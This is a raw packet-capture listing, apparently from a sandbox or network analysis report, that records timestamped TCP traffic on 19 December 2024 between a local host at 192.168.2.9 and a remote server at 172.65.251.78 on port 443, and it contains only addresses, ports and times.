Dec 19, 2024 14:14:16.538614035 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.538636923 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.538714886 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.538723946 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.538759947 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.545393944 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.545416117 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.545484066 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.545492887 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.545531034 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.552112103 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.552134037 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.552174091 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.552180052 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.552223921 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.559117079 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.559137106 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.559185028 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.559192896 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.559209108 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.559223890 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.565298080 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.565315962 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.565390110 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.565397978 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.565443039 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.710247040 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.710314989 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.710361004 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.710408926 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.710429907 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.710449934 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.717560053 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.717581987 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.717763901 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.717789888 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.717839003 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.723695993 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.723740101 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.723779917 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.723800898 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.723822117 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.723866940 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.730649948 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.730690956 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.730724096 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.730743885 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.730758905 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.730782032 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.737940073 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.737981081 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.738007069 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.738037109 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.738039970 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.738090038 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.744805098 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.744848013 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.744878054 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.744888067 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.744913101 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.744935989 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.752022982 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.752043009 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.752113104 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.752134085 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.752175093 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.758733988 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.758754015 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.758835077 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.758853912 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.758918047 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.902174950 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.902199030 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.902256012 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.902288914 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.902307034 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.902334929 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.909559011 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.909580946 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.909627914 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.909655094 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.909668922 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.909702063 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.915805101 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.915822029 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.915920019 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.915920019 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.915941954 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.915981054 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.917960882 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.918010950 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.924631119 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.924647093 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.924696922 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.924717903 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.930710077 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.930731058 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.930771112 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.930794954 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.930808067 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.938327074 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.938339949 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.938391924 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.938415051 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.944297075 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.944314957 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.944358110 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.944380999 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.944392920 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.951358080 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.951374054 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.951432943 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:16.951455116 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:16.993356943 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.096429110 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.096456051 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.096566916 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.096606016 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.096646070 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.102524996 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.102541924 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.102595091 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.102618933 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.102658987 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.110569000 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.110584974 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.110662937 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.110685110 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.110735893 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.116612911 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.116628885 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.116681099 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.116702080 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.116744041 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.122714043 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.122730970 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.122776985 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.122798920 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.122837067 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.130283117 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.130297899 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.130351067 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.130374908 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.130410910 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.136288881 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.136303902 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.136357069 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.136379957 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.136490107 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.143415928 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.143433094 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.143505096 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.143527031 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.143573046 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.288474083 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.288505077 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.288574934 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.288604975 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.288623095 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.288639069 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.294735909 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.294756889 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.294820070 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.294842958 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.294879913 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.301688910 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.301704884 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.301769018 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.301791906 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.301839113 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.308752060 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.308769941 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.308834076 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.308852911 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.308891058 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.315654039 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.315671921 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.315731049 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.315754890 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.315779924 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.315793037 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.322462082 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.322479963 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.322576046 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.322601080 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.322649956 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.328425884 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.328440905 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.328511953 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.328533888 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.328571081 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.335412025 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.335432053 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.335491896 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.335513115 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.335550070 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.480849981 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.480915070 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.480940104 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.480988979 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.481004000 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.481026888 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.487757921 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.487811089 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.487833977 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.487869024 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.487884045 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.487903118 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.493900061 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.493952990 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.493985891 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.494019985 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.494036913 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.494060040 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.500965118 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.501024961 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.501064062 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.501102924 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.501118898 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.501137972 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.507946968 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.507993937 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.508018970 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.508047104 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.508066893 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.508088112 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.514517069 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.514560938 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.514595032 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.514621973 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.514642000 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.514662027 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.521538973 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.521581888 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.521636963 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.521665096 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.521682978 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.521702051 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.527702093 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.527749062 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.527828932 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.527853966 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.527868032 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.527889967 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.672884941 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.672926903 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.673080921 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.673116922 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.673160076 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.680027962 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.680049896 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.680165052 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.680186033 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.680226088 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.686156988 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.686177969 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.686256886 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.686274052 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.686314106 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.693033934 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.693053961 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.693094969 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.693111897 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.693152905 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.699923992 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.699948072 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.700025082 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.700047016 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.700059891 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.700082064 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.706604958 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.706626892 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.706670046 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.706696987 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.706711054 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.706732035 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.713928938 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.713948965 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.714009047 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.714035034 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.714076996 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.720031977 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.720050097 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.720180988 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.720194101 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.720256090 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.866034985 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.866066933 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.866183043 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.866205931 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.866220951 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.866240978 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.871757030 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.871788979 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.871910095 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.871910095 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.871916056 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.872028112 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.878031015 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.878051996 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.878233910 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.878240108 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.878267050 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.878279924 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.885055065 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.885070086 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.885226965 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.885236979 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.885341883 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.891824961 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.891844034 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.891985893 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.891985893 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.891990900 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.892111063 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.898485899 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.898494959 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.898696899 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.898705959 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.898758888 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.905606985 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.905626059 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.905700922 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.905714989 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.905751944 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.911614895 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.911638975 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.911741018 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.911741018 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:17.911752939 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:17.911863089 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:18.055612087 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:18.055656910 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:18.055721998 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:18.055721998 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:18.055744886 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:18.062001944 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:18.062028885 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:18.062091112 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:18.062120914 CET	443	49736	172.65.251.78	192.168.2.9
